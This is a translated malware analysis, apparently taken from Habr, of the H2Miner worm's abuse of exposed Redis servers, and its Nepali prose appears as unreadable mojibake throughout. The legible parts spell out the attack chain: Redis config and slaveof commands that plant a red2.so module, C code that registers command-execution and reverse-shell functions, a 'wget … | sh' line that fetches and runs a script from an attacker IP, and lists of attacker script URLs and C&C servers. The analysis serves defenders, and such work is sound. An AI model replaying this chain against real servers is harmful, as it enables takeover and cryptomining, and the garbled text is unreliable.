Redis RCE рдХреЛ рд╢реЛрд╖рдг рдЧрд░реНрдиреЗ H2Miner рд╡рд░реНрдореНрд╕рдХреЛ рдирдпрд╛рдБ рдкреНрд░рдХреЛрдк рдкрддреНрддрд╛ рд▓рд╛рдЧреЗрдХреЛ рдЫ

рдПрдХ рджрд┐рди рдЕрдШрд┐, рдореЗрд░реЛ рдкреНрд░реЛрдЬреЗрдХреНрдЯрдХреЛ рд╕рд░реНрднрд░рд╣рд░реВ рдордзреНрдпреЗ рдПрдЙрдЯрд╛ рдпрд╕реНрддреИ рдХреАрд░рд╛рд▓реЗ рдЖрдХреНрд░рдордг рдЧрд░реЗрдХреЛ рдерд┐рдпреЛред "рддреНрдпреЛ рдХреЗ рдерд┐рдпреЛ?" рдкреНрд░рд╢реНрдирдХреЛ рдЬрд╡рд╛рдл рдЦреЛрдЬреНрджреИ рдореИрд▓реЗ рдЕрд▓рд┐рдмрд╛рдмрд╛ рдХреНрд▓рд╛рдЙрдб рд╕реБрд░рдХреНрд╖рд╛ рдЯреЛрд▓реАрджреНрд╡рд╛рд░рд╛ рдЙрддреНрдХреГрд╖реНрдЯ рд▓реЗрдЦ рдлреЗрд▓рд╛ рдкрд╛рд░реЗред рдореИрд▓реЗ Habr├й рдорд╛ рдпреЛ рд▓реЗрдЦ рдлреЗрд▓рд╛ рдирдкрд╛рдПрдХреЛрд▓реЗ, рдореИрд▓реЗ рдпрд╕рд▓рд╛рдИ рд╡рд┐рд╢реЗрд╖ рдЧрд░реА рддрдкрд╛рдИрдВрдХреЛ рд▓рд╛рдЧрд┐ рдЕрдиреБрд╡рд╛рдж рдЧрд░реНрдиреЗ рдирд┐рд░реНрдгрдп рдЧрд░реЗрдВ <3

рдкреНрд░рд╡реЗрд╢

рд╣рд╛рд▓реИ, рдЕрд▓рд┐рдмрд╛рдмрд╛ рдХреНрд▓рд╛рдЙрдбрдХреЛ рд╕реБрд░рдХреНрд╖рд╛ рдЯреЛрд▓реАрд▓реЗ H2Miner рдХреЛ рдЕрдЪрд╛рдирдХ рдкреНрд░рдХреЛрдк рдкрддреНрддрд╛ рд▓рдЧрд╛рдПред рдпрд╕ рдкреНрд░рдХрд╛рд░рдХреЛ рдорд╛рд▓рд┐рд╕рд┐рдпрд╕ рд╡рд░реНрдорд▓реЗ рддрдкрд╛рдЗрдБрдХреЛ рдкреНрд░рдгрд╛рд▓реАрд╣рд░реВрдорд╛ рдЧреЗрдЯрд╡реЗрдХреЛ рд░реВрдкрдорд╛ Redis рдХреЛ рд▓рд╛рдЧрд┐ рдкреНрд░рд╛рдзрд┐рдХрд░рдгрдХреЛ рдЕрднрд╛рд╡ рд╡рд╛ рдХрдордЬреЛрд░ рдкрд╛рд╕рд╡рд░реНрдбрд╣рд░реВ рдкреНрд░рдпреЛрдЧ рдЧрд░реНрджрдЫ, рддреНрдпрд╕рдкрдЫрд┐ рдпрд╕рд▓реЗ рдорд╛рд╕реНрдЯрд░-рд╕реНрд▓реЗрдн рд╕рд┐рдЩреНрдХреНрд░реЛрдирд╛рдЗрдЬреЗрд╕рди рдорд╛рд░реНрдлрдд рджрд╛рд╕рд╕рдБрдЧ рдпрд╕рдХреЛ рдЖрдлреНрдиреИ рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг рдореЛрдбреНрдпреБрд▓ рд╕рд┐рдЩреНрдХреНрд░реЛрдирд╛рдЗрдЬ рдЧрд░реНрджрдЫ рд░ рдЕрдиреНрддрддрдГ рдпреЛ рдЦрд░рд╛рдм рдореЛрдбреНрдпреБрд▓рд▓рд╛рдИ рдЖрдХреНрд░рдордг рдЧрд░рд┐рдПрдХреЛ рдореЗрд╕рд┐рдирдорд╛ рдбрд╛рдЙрдирд▓реЛрдб рдЧрд░реНрджрдЫ рд░ рдорд╛рд▓рд┐рд╕рд┐рдпрд╕ рдХрд╛рд░реНрдпрд╛рдиреНрд╡рдпрди рдЧрд░реНрджрдЫред рдирд┐рд░реНрджреЗрд╢рдирд╣рд░реВред

рд╡рд┐рдЧрддрдорд╛, рддрдкрд╛рдИрдВрдХреЛ рдкреНрд░рдгрд╛рд▓реАрд╣рд░реВрдорд╛ рдЖрдХреНрд░рдордгрд╣рд░реВ рдореБрдЦреНрдп рд░реВрдкрдорд╛ рдирд┐рд░реНрдзрд╛рд░рд┐рдд рдХрд╛рд░реНрдпрд╣рд░реВ рд╡рд╛ SSH рдХреБрдЮреНрдЬреАрд╣рд░реВ рд╕рдорд╛рд╡реЗрд╢ рдЧрд░реНрдиреЗ рд╡рд┐рдзрд┐ рдкреНрд░рдпреЛрдЧ рдЧрд░реА рдЧрд░рд┐рдПрдХрд╛ рдерд┐рдП рдЬреБрди рдЖрдХреНрд░рдордгрдХрд░реНрддрд╛рд▓реЗ Redis рдорд╛ рд▓рдЧ рдЗрди рдЧрд░реЗрдкрдЫрд┐ рддрдкрд╛рдИрдВрдХреЛ рдореЗрд╕рд┐рдирдорд╛ рд▓реЗрдЦрд┐рдПрдХреЛ рдерд┐рдпреЛред рд╕реМрднрд╛рдЧреНрдпрд╡рд╢, рдпреЛ рд╡рд┐рдзрд┐ рдкреНрд░рд╛рдп: рдЕрдиреБрдорддрд┐ рдирд┐рдпрдиреНрддреНрд░рдгрдХреЛ рд╕рдорд╕реНрдпрд╛ рд╡рд╛ рд╡рд┐рднрд┐рдиреНрди рдкреНрд░рдгрд╛рд▓реА рд╕рдВрд╕реНрдХрд░рдгрд╣рд░реВрдХреЛ рдХрд╛рд░рдгрд▓реЗ рдЧрд░реНрджрд╛ рдкреНрд░рдпреЛрдЧ рдЧрд░реНрди рд╕рдХрд┐рдБрджреИрдиред рдпрджреНрдпрдкрд┐, рдЦрд░рд╛рдм рдореЛрдбреНрдпреБрд▓ рд▓реЛрдб рдЧрд░реНрдиреЗ рдпреЛ рд╡рд┐рдзрд┐рд▓реЗ рдЖрдХреНрд░рдордгрдХрд╛рд░реАрдХреЛ рдЖрджреЗрд╢рд▓рд╛рдИ рдкреНрд░рддреНрдпрдХреНрд╖ рд░реВрдкрдорд╛ рдХрд╛рд░реНрдпрд╛рдиреНрд╡рдпрди рдЧрд░реНрди рд╡рд╛ рд╢реЗрд▓рдорд╛ рдкрд╣реБрдБрдЪ рдкреНрд░рд╛рдкреНрдд рдЧрд░реНрди рд╕рдХреНрдЫ, рдЬреБрди рддрдкрд╛рдИрдВрдХреЛ рдкреНрд░рдгрд╛рд▓реАрдХреЛ рд▓рд╛рдЧрд┐ рдЦрддрд░рдирд╛рдХ рдЫред

рдЗрдиреНрдЯрд░рдиреЗрдЯрдорд╛ рд╣реЛрд╕реНрдЯ рдЧрд░рд┐рдПрдХреЛ Redis рд╕рд░реНрднрд░рд╣рд░реВрдХреЛ рдареВрд▓реЛ рд╕рдВрдЦреНрдпрд╛ (рд▓рдЧрднрдЧ 1 рдорд┐рд▓рд┐рдпрди) рдХреЛ рдХрд╛рд░рдгрд▓реЗ, Alibaba рдХреНрд▓рд╛рдЙрдбрдХреЛ рд╕реБрд░рдХреНрд╖рд╛ рдЯреЛрд▓реА, рдПрдХ рдорд┐рддреНрд░рд╡рдд рд░рд┐рдорд╛рдЗрдиреНрдбрд░рдХреЛ рд░реВрдкрдорд╛, рдкреНрд░рдпреЛрдЧрдХрд░реНрддрд╛рд╣рд░реВрд▓рд╛рдИ Redis рдЕрдирд▓рд╛рдЗрди рд╕рд╛рдЭреЗрджрд╛рд░реА рдирдЧрд░реНрди рд╕рд┐рдлрд╛рд░рд┐рд╕ рдЧрд░реНрджрдЫ рд░ рдирд┐рдпрдорд┐рдд рд░реВрдкрдорд╛ рддрд┐рдиреАрд╣рд░реВрдХреЛ рдкрд╛рд╕рд╡рд░реНрдбрдХреЛ рдмрд▓рд┐рдпреЛ рдЬрд╛рдБрдЪ рдЧрд░реНрдиреБрд╣реЛрд╕реН рд░ рддрд┐рдиреАрд╣рд░реВрд╕рдБрдЧ рд╕рдореНрдЭреМрддрд╛ рднрдПрдХреЛ рдЫ рдХрд┐ рдЫреИрдиред рджреНрд░реБрдд рдЪрдпрдиред

H2 Miner

H2Miner рд▓рд┐рдирдХреНрд╕-рдЖрдзрд╛рд░рд┐рдд рдкреНрд░рдгрд╛рд▓реАрд╣рд░реВрдХреЛ рд▓рд╛рдЧрд┐ рдПрдХ рдЦрдирди рдмреЛрдЯрдиреЗрдЯ рд╣реЛ рдЬрд╕рд▓реЗ рддрдкрд╛рдИрдВрдХреЛ рдкреНрд░рдгрд╛рд▓реАрд▓рд╛рдИ рд╡рд┐рднрд┐рдиреНрди рддрд░рд┐рдХрд╛рдорд╛ рдЖрдХреНрд░рдордг рдЧрд░реНрди рд╕рдХреНрдЫ, рдЬрд╕рдорд╛ Hadoop рдпрд╛рд░реНрди, рдбрдХрд░, рд░ Redis рд░рд┐рдореЛрдЯ рдХрдорд╛рдгреНрдб рдХрд╛рд░реНрдпрд╛рдиреНрд╡рдпрди (RCE) рдХрдордЬреЛрд░реАрд╣рд░реВрдорд╛ рдкреНрд░рд╛рдзрд┐рдХрд░рдгрдХреЛ рдЕрднрд╛рд╡ рд╕рдорд╛рд╡реЗрд╢ рдЫред рдПрдХ рдмреЛрдЯрдиреЗрдЯрд▓реЗ рддрдкрд╛рдИрдВрдХреЛ рдбрд╛рдЯрд╛ рдорд╛рдЗрди рдЧрд░реНрдирдХреЛ рд▓рд╛рдЧрд┐ рдЦрд░рд╛рдм рд╕реНрдХреНрд░рд┐рдкреНрдЯрд╣рд░реВ рд░ рдорд╛рд▓рд╡реЗрдпрд░ рдбрд╛рдЙрдирд▓реЛрдб рдЧрд░реЗрд░ рдХрд╛рдо рдЧрд░реНрджрдЫ, рдЖрдХреНрд░рдордг рддреЗрд░реНрд╕реЛ рд░реВрдкрдорд╛ рд╡рд┐рд╕реНрддрд╛рд░ рдЧрд░реНрджрдЫ, рд░ рдХрдорд╛рдгреНрдб рд░ рдХрдиреНрдЯреНрд░реЛрд▓ (C&C) рд╕рдВрдЪрд╛рд░рд╣рд░реВ рдХрд╛рдпрдо рд░рд╛рдЦреНрдЫред

Redis RCE

ZeroNights 2018 рдорд╛ Pavel Toporkov рджреНрд╡рд╛рд░рд╛ рдпрд╕ рд╡рд┐рд╖рдпрдорд╛ рдЬреНрдЮрд╛рди рдЖрджрд╛рди рдкреНрд░рджрд╛рди рдЧрд░рд┐рдПрдХреЛ рдерд┐рдпреЛред рд╕рдВрд╕реНрдХрд░рдг 4.0 рдкрдЫрд┐, Redis рд▓реЗ рдкреНрд▓рдЧ-рдЗрди рд▓реЛрдбрд┐рдЩ рд╕реБрд╡рд┐рдзрд╛рд▓рд╛рдИ рд╕рдорд░реНрдерди рдЧрд░реНрджрдЫ рдЬрд╕рд▓реЗ рдкреНрд░рдпреЛрдЧрдХрд░реНрддрд╛рд╣рд░реВрд▓рд╛рдИ C рд╕рдБрдЧ рдХрдореНрдкрд╛рдЗрд▓ рдЧрд░рд┐рдПрдХрд╛ рдлрд╛рдЗрд▓рд╣рд░реВ Redis рдорд╛ рд╡рд┐рд╢реЗрд╖ Redis рдЖрджреЗрд╢рд╣рд░реВ рдХрд╛рд░реНрдпрд╛рдиреНрд╡рдпрди рдЧрд░реНрди рд▓реЛрдб рдЧрд░реНрдиреЗ рдХреНрд╖рдорддрд╛ рджрд┐рдиреНрдЫред рдпреЛ рдкреНрд░рдХрд╛рд░реНрдп, рдЙрдкрдпреЛрдЧреА рднрдП рддрд╛рдкрдирд┐, рдПрдЙрдЯрд╛ рдХрдордЬреЛрд░реА рд╕рдорд╛рд╡реЗрд╢ рдЧрд░реНрджрдЫ рдЬрд╕рдорд╛, рдорд╛рд╕реНрдЯрд░-рд╕реНрд▓реЗрдн рдореЛрдбрдорд╛, рдлрд╛рдЗрд▓рд╣рд░реВ рдлреБрд▓рд░реЗрд╕рд┐рдЩреНрдХ рдореЛрдб рдорд╛рд░реНрдлрдд рджрд╛рд╕рд╕рдБрдЧ рд╕рд┐рдЩреНрдХреНрд░реЛрдирд╛рдЗрдЬ рдЧрд░реНрди рд╕рдХрд┐рдиреНрдЫред рдпреЛ рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг рдлрд╛рдЗрд▓рд╣рд░реВ рд╕реНрдерд╛рдирд╛рдиреНрддрд░рдг рдЧрд░реНрди рдПрдХ рдЖрдХреНрд░рдордгрдХрд░реНрддрд╛ рджреНрд╡рд╛рд░рд╛ рдкреНрд░рдпреЛрдЧ рдЧрд░реНрди рд╕рдХрд┐рдиреНрдЫред рд╕реНрдерд╛рдирд╛рдиреНрддрд░рдг рдкреВрд░рд╛ рднрдПрдкрдЫрд┐, рдЖрдХреНрд░рдордгрдХрд╛рд░реАрд╣рд░реВрд▓реЗ рдЖрдХреНрд░рдордг рдЧрд░рд┐рдПрдХреЛ рд░реЗрдбрд┐рд╕ рдЙрджрд╛рд╣рд░рдгрдорд╛ рдореЛрдбреНрдпреБрд▓ рд▓реЛрдб рдЧрд░реНрдЫрдиреН рд░ рдХреБрдиреИ рдкрдирд┐ рдЖрджреЗрд╢ рдХрд╛рд░реНрдпрд╛рдиреНрд╡рдпрди рдЧрд░реНрдЫрдиреНред

рдорд╛рд▓рд╡реЗрдпрд░ рд╡рд░реНрдо рд╡рд┐рд╢реНрд▓реЗрд╖рдг

рднрд░реНрдЦрд░реИ, рдЕрд▓рд┐рдмрд╛рдмрд╛ рдХреНрд▓рд╛рдЙрдб рд╕реБрд░рдХреНрд╖рд╛ рдЯреЛрд▓реАрд▓реЗ рдкрддреНрддрд╛ рд▓рдЧрд╛рдпреЛ рдХрд┐ H2Miner рдорд╛рд▓рд┐рд╕рд┐рдпрд╕ рдЦрд╛рдиреА рд╕рдореВрд╣рдХреЛ рдЖрдХрд╛рд░ рдЕрдЪрд╛рдирдХ рдирд╛рдЯрдХреАрдп рд░реВрдкрдорд╛ рдмрдвреЗрдХреЛ рдЫред рд╡рд┐рд╢реНрд▓реЗрд╖рдгрдХрд╛ рдЕрдиреБрд╕рд╛рд░, рдЖрдХреНрд░рдордгрдХреЛ рд╕рд╛рдорд╛рдиреНрдп рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдирд┐рдореНрдирд╛рдиреБрд╕рд╛рд░ рдЫ:

Redis RCE рдХреЛ рд╢реЛрд╖рдг рдЧрд░реНрдиреЗ H2Miner рд╡рд░реНрдореНрд╕рдХреЛ рдирдпрд╛рдБ рдкреНрд░рдХреЛрдк рдкрддреНрддрд╛ рд▓рд╛рдЧреЗрдХреЛ рдЫ

H2Miner рдкреВрд░реНрдг рдЖрдХреНрд░рдордгрдХреЛ рд▓рд╛рдЧрд┐ RCE Redis рдкреНрд░рдпреЛрдЧ рдЧрд░реНрджрдЫред рдЖрдХреНрд░рдордгрдХрд╛рд░реАрд╣рд░реВрд▓реЗ рдкрд╣рд┐рд▓реЗ рдЕрд╕реБрд░рдХреНрд╖рд┐рдд рд░реЗрдбрд┐рд╕ рд╕рд░реНрднрд░ рд╡рд╛ рдХрдордЬреЛрд░ рдкрд╛рд╕рд╡рд░реНрдбрд╣рд░реВ рднрдПрдХрд╛ рд╕рд░реНрднрд░рд╣рд░реВрдорд╛ рдЖрдХреНрд░рдордг рдЧрд░реНрдЫрдиреНред

рддреНрдпрд╕рдкрдЫрд┐ рддрд┐рдиреАрд╣рд░реВрд▓реЗ рдЖрджреЗрд╢ рдкреНрд░рдпреЛрдЧ рдЧрд░реНрдЫрдиреН config set dbfilename red2.so рдлрд╛рдЗрд▓ рдирд╛рдо рдкрд░рд┐рд╡рд░реНрддрди рдЧрд░реНрдиред рдпрд╕ рдкрдЫрд┐, рдЖрдХреНрд░рдордгрдХрд╛рд░реАрд╣рд░реВрд▓реЗ рдЖрджреЗрд╢ рдХрд╛рд░реНрдпрд╛рдиреНрд╡рдпрди рдЧрд░реНрдЫрдиреН slaveof рдорд╛рд╕реНрдЯрд░-рд╕реНрд▓реЗрдн рдкреНрд░рддрд┐рдХреГрддрд┐ рд╣реЛрд╕реНрдЯ рдареЗрдЧрд╛рдирд╛ рд╕реЗрдЯ рдЧрд░реНрдиред

рдЬрдм рдЖрдХреНрд░рдордг рдЧрд░рд┐рдПрдХреЛ Redis рдЙрджрд╛рд╣рд░рдгрд▓реЗ рдЖрдХреНрд░рдордгрдХрд╛рд░реАрдХреЛ рд╕реНрд╡рд╛рдорд┐рддреНрд╡рдорд╛ рд░рд╣реЗрдХреЛ рдорд╛рд▓рд┐рд╕рд┐рдпрд╕ рд░реЗрдбрд┐рд╕рд╕рдБрдЧ рдорд╛рд╕реНрдЯрд░-рд╕реНрд▓реЗрдн рдЬрдбрд╛рди рд╕реНрдерд╛рдкрдирд╛ рдЧрд░реНрджрдЫ, рдЖрдХреНрд░рдордгрдХрд░реНрддрд╛рд▓реЗ рдлрд╛рдЗрд▓рд╣рд░реВ рд╕рд┐рдЩреНрдХреНрд░реЛрдирд╛рдЗрдЬ рдЧрд░реНрди рдлреБрд▓рд░реЗрд╕рд┐рдЩреНрдХ рдЖрджреЗрд╢ рдкреНрд░рдпреЛрдЧ рдЧрд░реЗрд░ рд╕рдВрдХреНрд░рдорд┐рдд рдореЛрдбреНрдпреБрд▓ рдкрдард╛рдЙрдБрдЫред red2.so рдлрд╛рдЗрд▓ рддреНрдпрд╕рдкрдЫрд┐ рдЖрдХреНрд░рдордг рдЧрд░рд┐рдПрдХреЛ рдореЗрд╕рд┐рдирдорд╛ рдбрд╛рдЙрдирд▓реЛрдб рд╣реБрдиреЗрдЫред рдЖрдХреНрд░рдордгрдХрд╛рд░реАрд╣рд░реВрд▓реЗ рддреНрдпрд╕рдкрдЫрд┐ рдпреЛ рдлрд╛рдЗрд▓ рд▓реЛрдб рдЧрд░реНрди ./red2.so рд▓реЛрдбрд┐рдЩ рдореЛрдбреНрдпреБрд▓ рдкреНрд░рдпреЛрдЧ рдЧрд░реНрдЫрдиреНред рдореЛрдбреНрдпреБрд▓рд▓реЗ рдЖрдХреНрд░рдордгрдХрд╛рд░реАрдмрд╛рдЯ рдЖрджреЗрд╢рд╣рд░реВ рдХрд╛рд░реНрдпрд╛рдиреНрд╡рдпрди рдЧрд░реНрди рд╕рдХреНрдЫ рд╡рд╛ рдЖрдХреНрд░рдордг рдЧрд░рд┐рдПрдХреЛ рдореЗрд╕рд┐рдирдорд╛ рдкрд╣реБрдБрдЪ рдкреНрд░рд╛рдкреНрдд рдЧрд░реНрди рд░рд┐рднрд░реНрд╕ рдЬрдбрд╛рди (рдмреНрдпрд╛рдХрдбреЛрд░) рд╕реБрд░реБ рдЧрд░реНрди рд╕рдХреНрдЫред

if (RedisModule_CreateCommand(ctx, "system.exec",
        DoCommand, "readonly", 1, 1, 1) == REDISMODULE_ERR)
        return REDISMODULE_ERR;
      if (RedisModule_CreateCommand(ctx, "system.rev",
        RevShellCommand, "readonly", 1, 1, 1) == REDISMODULE_ERR)
        return REDISMODULE_ERR;

рдПрдХ рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг рдЖрджреЗрд╢ рдХрд╛рд░реНрдпрд╛рдиреНрд╡рдпрди рдкрдЫрд┐ рдЬрд╕реНрддреИ / bin / sh -c wget -q -O-http://195.3.146.118/unk.sh | sh> / dev / null 2> & 1, рдЖрдХреНрд░рдордгрдХрд░реНрддрд╛рд▓реЗ рдмреНрдпрд╛рдХрдЕрдк рдлрд╛рдЗрд▓ рдирд╛рдо рд░рд┐рд╕реЗрдЯ рдЧрд░реНрдиреЗрдЫ рд░ рдЯреНрд░реЗрд╕рд╣рд░реВ рд╕рдлрд╛ рдЧрд░реНрди рдкреНрд░рдгрд╛рд▓реА рдореЛрдбреНрдпреБрд▓ рдЕрдирд▓реЛрдб рдЧрд░реНрдиреЗрдЫред рдпрджреНрдпрдкрд┐, red2.so рдлрд╛рдЗрд▓ рдЕрдЭреИ рдкрдирд┐ рдЖрдХреНрд░рдордг рдЧрд░рд┐рдПрдХреЛ рдореЗрд╕рд┐рдирдорд╛ рд░рд╣рдиреЗрдЫред рдкреНрд░рдпреЛрдЧрдХрд░реНрддрд╛рд╣рд░реВрд▓рд╛рдИ рдЙрдиреАрд╣рд░реВрдХреЛ Redis рдЙрджрд╛рд╣рд░рдгрдХреЛ рдлреЛрд▓реНрдбрд░рдорд╛ рдпрд╕реНрддреЛ рд╕рдВрджрд┐рдЧреНрдз рдлрд╛рдЗрд▓рдХреЛ рдЙрдкрд╕реНрдерд┐рддрд┐рдорд╛ рдзреНрдпрд╛рди рджрд┐рди рд╕рд▓реНрд▓рд╛рд╣ рджрд┐рдЗрдиреНрдЫред

рд╕реНрд░реЛрддрд╣рд░реВ рдЪреЛрд░реНрдирдХрд╛ рд▓рд╛рдЧрд┐ рдХреЗрд╣реА рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг рдкреНрд░рдХреНрд░рд┐рдпрд╛рд╣рд░реВрд▓рд╛рдИ рдорд╛рд░реНрдиреБрдХреЛ рдЕрддрд┐рд░рд┐рдХреНрдд, рдЖрдХреНрд░рдордгрдХрд╛рд░реАрд▓реЗ рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг рдмрд╛рдЗрдирд░реА рдлрд╛рдЗрд▓рд╣рд░реВ рдбрд╛рдЙрдирд▓реЛрдб рд░ рдХрд╛рд░реНрдпрд╛рдиреНрд╡рдпрди рдЧрд░реЗрд░ рдПрдХ рдЦрд░рд╛рдм рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдкрдЫреНрдпрд╛рдпреЛред 142.44.191.122/kinsingред рдпрд╕рдХреЛ рдорддрд▓рдм рдпреЛ рд╣реЛрд╕реН рдХрд┐ рд╣реЛрд╕реНрдЯрдорд╛ рдХрд┐рдиреНрд╕рд┐рдЩ рднрдПрдХреЛ рдкреНрд░рдХреНрд░рд┐рдпрд╛рдХреЛ рдирд╛рдо рд╡рд╛ рдбрд╛рдЗрд░реЗрдХреНрдЯрд░реА рдирд╛рдорд▓реЗ рддреНрдпреЛ рдореЗрд╕рд┐рди рдпреЛ рднрд╛рдЗрд░рд╕рдмрд╛рдЯ рд╕рдВрдХреНрд░рдорд┐рдд рднрдПрдХреЛ рд╕рдВрдХреЗрдд рдЧрд░реНрди рд╕рдХреНрдЫред

рдЙрд▓реНрдЯреЛ рдИрдиреНрдЬрд┐рдирд┐рдпрд░рд┐рдЩреН рдкрд░рд┐рдгрд╛рдорд╣рд░реВ рдЕрдиреБрд╕рд╛рд░, рдорд╛рд▓рд╡реЗрдпрд░рд▓реЗ рдореБрдЦреНрдп рд░реВрдкрдорд╛ рдирд┐рдореНрди рдХрд╛рд░реНрдпрд╣рд░реВ рдЧрд░реНрджрдЫ:

  • рдлрд╛рдЗрд▓рд╣рд░реВ рдЕрдкрд▓реЛрдб рдЧрд░реНрджреИ рд░ рддрд┐рдиреАрд╣рд░реВрд▓рд╛рдИ рдХрд╛рд░реНрдпрд╛рдиреНрд╡рдпрди рдЧрд░реНрджреИ
  • рдЦрдирди
  • C&C рд╕рдВрдЪрд╛рд░ рдХрд╛рдпрдо рдЧрд░реНрджреИ рд░ рдЖрдХреНрд░рдордгрдХрд╛рд░реА рдЖрджреЗрд╢рд╣рд░реВ рдХрд╛рд░реНрдпрд╛рдиреНрд╡рдпрди рдЧрд░реНрджреИ

Redis RCE рдХреЛ рд╢реЛрд╖рдг рдЧрд░реНрдиреЗ H2Miner рд╡рд░реНрдореНрд╕рдХреЛ рдирдпрд╛рдБ рдкреНрд░рдХреЛрдк рдкрддреНрддрд╛ рд▓рд╛рдЧреЗрдХреЛ рдЫ

рдЖрдлреНрдиреЛ рдкреНрд░рднрд╛рд╡ рд╡рд┐рд╕реНрддрд╛рд░ рдЧрд░реНрди рдмрд╛рд╣реНрдп рд╕реНрдХреНрдпрд╛рдирд┐рдЩрдХреЛ рд▓рд╛рдЧрд┐ masscan рдкреНрд░рдпреЛрдЧ рдЧрд░реНрдиреБрд╣реЛрд╕реНред рдердк рд░реВрдкрдорд╛, рдХрд╛рд░реНрдпрдХреНрд░рдордорд╛ C&C рд╕рд░реНрднрд░рдХреЛ IP рдареЗрдЧрд╛рдирд╛ рд╣рд╛рд░реНрдб-рдХреЛрдб рдЧрд░рд┐рдПрдХреЛ рдЫ, рд░ рдЖрдХреНрд░рдордг рдЧрд░рд┐рдПрдХреЛ рд╣реЛрд╕реНрдЯрд▓реЗ HTTP рдЕрдиреБрд░реЛрдзрд╣рд░реВ рдкреНрд░рдпреЛрдЧ рдЧрд░реЗрд░ C&C рд╕рдВрдЪрд╛рд░ рд╕рд░реНрднрд░рд╕рдБрдЧ рд╕рдЮреНрдЪрд╛рд░ рдЧрд░реНрдиреЗрдЫ, рдЬрд╣рд╛рдБ HTTP рд╣реЗрдбрд░рдорд╛ zombie (compromised рд╕рд░реНрднрд░) рдЬрд╛рдирдХрд╛рд░реА рдкрд╣рд┐рдЪрд╛рди рдЧрд░рд┐рдПрдХреЛ рдЫред

Redis RCE рдХреЛ рд╢реЛрд╖рдг рдЧрд░реНрдиреЗ H2Miner рд╡рд░реНрдореНрд╕рдХреЛ рдирдпрд╛рдБ рдкреНрд░рдХреЛрдк рдкрддреНрддрд╛ рд▓рд╛рдЧреЗрдХреЛ рдЫ

GET /h HTTP/1.1
Host: 91.215.169.111
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
Arch: amd64
Cores: 2
Mem: 3944
Os: linux
Osname: debian
Osversion: 10.0
Root: false
S: k
Uuid: xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxx
Version: 26
Accept-Encoding: gzip

рдЕрдиреНрдп рдЖрдХреНрд░рдордг рд╡рд┐рдзрд┐рд╣рд░реВ

Redis RCE рдХреЛ рд╢реЛрд╖рдг рдЧрд░реНрдиреЗ H2Miner рд╡рд░реНрдореНрд╕рдХреЛ рдирдпрд╛рдБ рдкреНрд░рдХреЛрдк рдкрддреНрддрд╛ рд▓рд╛рдЧреЗрдХреЛ рдЫ

рдХреАрд░рд╛рд▓реЗ рдкреНрд░рдпреЛрдЧ рдЧрд░реЗрдХреЛ рдареЗрдЧрд╛рдирд╛ рд░ рд▓рд┐рдЩреНрдХрд╣рд░реВ

/ рдирд╛рддрд╛рдЧреЛрддрд╛

тАв 142.44.191.122/t.sh
тАв 185.92.74.42/h.sh
тАв 142.44.191.122/spr.sh
тАв 142.44.191.122/spre.sh
тАв 195.3.146.118/unk.sh

s&c

тАв 45.10.88.102
тАв 91.215.169.111
тАв 139.99.50.255
тАв 46.243.253.167
тАв 195.123.220.193

рд╕реБрдЭрд╛рд╡

рдкрд╣рд┐рд▓реЛ, Redis рдЗрдиреНрдЯрд░рдиреЗрдЯрдмрд╛рдЯ рдкрд╣реБрдБрдЪрдпреЛрдЧреНрдп рд╣реБрдиреБ рд╣реБрдБрджреИрди рд░ рдмрд▓рд┐рдпреЛ рдкрд╛рд╕рд╡рд░реНрдбрдХреЛ рд╕рд╛рде рд╕реБрд░рдХреНрд╖рд┐рдд рд╣реБрдиреБрдкрд░реНрдЫред рдпреЛ рдкрдирд┐ рдорд╣рддреНрддреНрд╡рдкреВрд░реНрдг рдЫ рдХрд┐ рдХреНрд▓рд╛рдЗрдиреНрдЯрд╣рд░реВрд▓реЗ Redis рдбрд╛рдЗрд░реЗрдХреНрдЯрд░реАрдорд╛ рдХреБрдиреИ red2.so рдлрд╛рдЗрд▓ рдЫреИрди рд░ рд╣реЛрд╕реНрдЯрдорд╛ рдлрд╛рдЗрд▓/рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдирд╛рдордорд╛ рдХреБрдиреИ "kinsing" рдЫреИрди рднрдиреЗрд░ рдЬрд╛рдБрдЪ рдЧрд░реНрдиреБ рдкрдирд┐ рдорд╣рддреНрддреНрд╡рдкреВрд░реНрдг рдЫред

рд╕реНрд░реЛрдд: www.habr.com

рдПрдХ рдЯрд┐рдкреНрдкрдгреА рдердкреНрди